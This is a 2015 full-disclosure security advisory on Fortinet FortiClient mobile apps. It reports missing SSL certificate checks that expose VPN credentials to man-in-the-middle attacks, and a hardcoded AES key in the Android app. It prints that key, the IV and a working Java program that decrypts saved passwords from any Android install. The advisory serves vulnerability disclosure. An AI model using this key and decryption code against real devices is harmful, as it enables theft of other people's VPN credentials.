Message-ID: <54C9A1B8.4080907@security-assessment.com>
Date: Thu, 29 Jan 2015 15:58:00 +1300
From: Denis Andzakovic <denis.andzakovic@...urity-assessment.com>
To: <fulldisclosure@...lists.org>
Subject: [FD] Fortinet FortiClient Multiple Vulnerabilities

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                presents..
Fortinet FortiClient Multiple Vulnerabilities
Affected Versions: Verified on FortiClient iOS v5.2.028 and FortiClient Android 5.2.3.091

PDF:
http://www.security-assessment.com/files/documents/advisory/Fortinet_FortiClient_Multiple_Vulnerabilities.pdf

+-------------+
| Description |
+-------------+
This advisory details multiple vulnerabilities found within the Fortinet
FortiClient mobile applications. Forticlient is an endpoint security suite,
intended to provide an all-in-one security solution.

Both the Android and iOS applications did not check the validity of SSL
certificates, allowing an attacker performing a Man-In-The-Middle
attack to gain access to sensitive information such as SSL VPN credentials and
mobile device details.

Hard coded encryption keys were discovered within the Android application.
These encryption keys were found to be used to encrypt sensitive data stored
within the application’s Shared Preferences. As this key does not change per
instance, the decrypt code from an instance of a Forticlient application can
be used to retrieve the passwords from any other Android Forticlient
globally.

+--------------+
| Exploitation |
+--------------+
--[ Hardcoded Encryption Keys

After decompiling the FortiClient Android application, the ‘qm’ class was
found to contain a hard coded private string ‘KEY’. The character array was
found to contain "FoRtInEt!AnDrOiD". This key is used to encrypt and decrypt
saved passwords, stored within the application's shared preferences. The
following Java code can be used to decrypt Android Forticlient shared
preference parameter encrypted in this manner.

import java.util.Locale;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public final class aa
{
  private static final String KEY = new String(new char[] { 70, 111, 82, 116, 73, 110, 69, 116, 33, 65, 110, 68, 114, 79, 105, 68 });

	public static void main(String[] args){
		String crypted = "F3792242D92707AD537AACF429D8E28A";
		System.out.println("Encrypted String:" + crypted);
		System.out.println("Decrypted String:" + decrypt(crypted));
	}

  public static String decrypt(String paramString)
  {
      try
      {
        byte[] arrayOfByte = new byte[paramString.length() / 2];
        for (int i = 0; paramString.length() / 2 > i; i++)
        {
          int j = Integer.parseInt(paramString.substring(i * 2, 1 + i * 2), 16);
          arrayOfByte[i] = ((byte)(Integer.parseInt(paramString.substring(1 + i * 2, 2 + i * 2), 16) + j * 16));
        }
        IvParameterSpec localIvParameterSpec = new IvParameterSpec(new byte[] { 117, 122, 39, 67, 114, 124, 115, 44, 113, 116, 124, 123, 58, 89, 118, 94 });
        SecretKeySpec localSecretKeySpec = new SecretKeySpec(KEY.getBytes(), "AES");
        Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        localCipher.init(2, localSecretKeySpec, localIvParameterSpec);
        String str = new String(localCipher.doFinal(arrayOfByte));
        return str;
      }
      catch (Exception localException)
      {
      }
    return null;
  }
}

--[ Broken SSL Certificate Validation

By performing a Man-In-The-Middle attack, an attacker can host their own SSL
server with a self-signed certificate and harvest credentials from legitimate
end users. As the FortiClient SSL VPN client and Endpoint Control client do
not validate certificates, the attacker can harvest credentials and
mobile device information.

The Android version of the FortiClient software was found to display a warning
prompt when the SSL VPN server’s certificate is not trusted. The iOS version
does not display any warnings to the user, regardless of whether or not the
‘check server certificate’ option is enabled (one should note that by default
this option is disabled). This exposes FortiClient iOS users to
Man-In-The-Middle attacks. 

The Endpoint Control protocol, which attempts to connect to the devices default
gateway on TCP port 8010, similarly does not validate SSL certificates. Both
the FortiClient Android and iOS applications were found to ignore certificate
validity for the endpoint control protocol and did not prompt the end user
when the server’s certificate was invalid.

+----------+
| Solution |
+----------+
No official solution is currently available for these vulnerabilities.

+---------------------+
| Disclosure Timeline |
+---------------------+
08/10/2014 -	Initial email sent to Fortinet PSIRT team.
09/10/2014 -	Advisory documents sent to Fortinet.
15/10/2014 -	Acknowledgement of advisories from Fortinet.
16/10/2014 -	Update requested from Fortinet.
02/12/2014 -	Update requested from Fortinet.
13/12/2014 -	Update requested from Fortinet.
29/01/2015 -	Advisory Release.

+-------------------------------+
| About Security-Assessment.com |
+-------------------------------+

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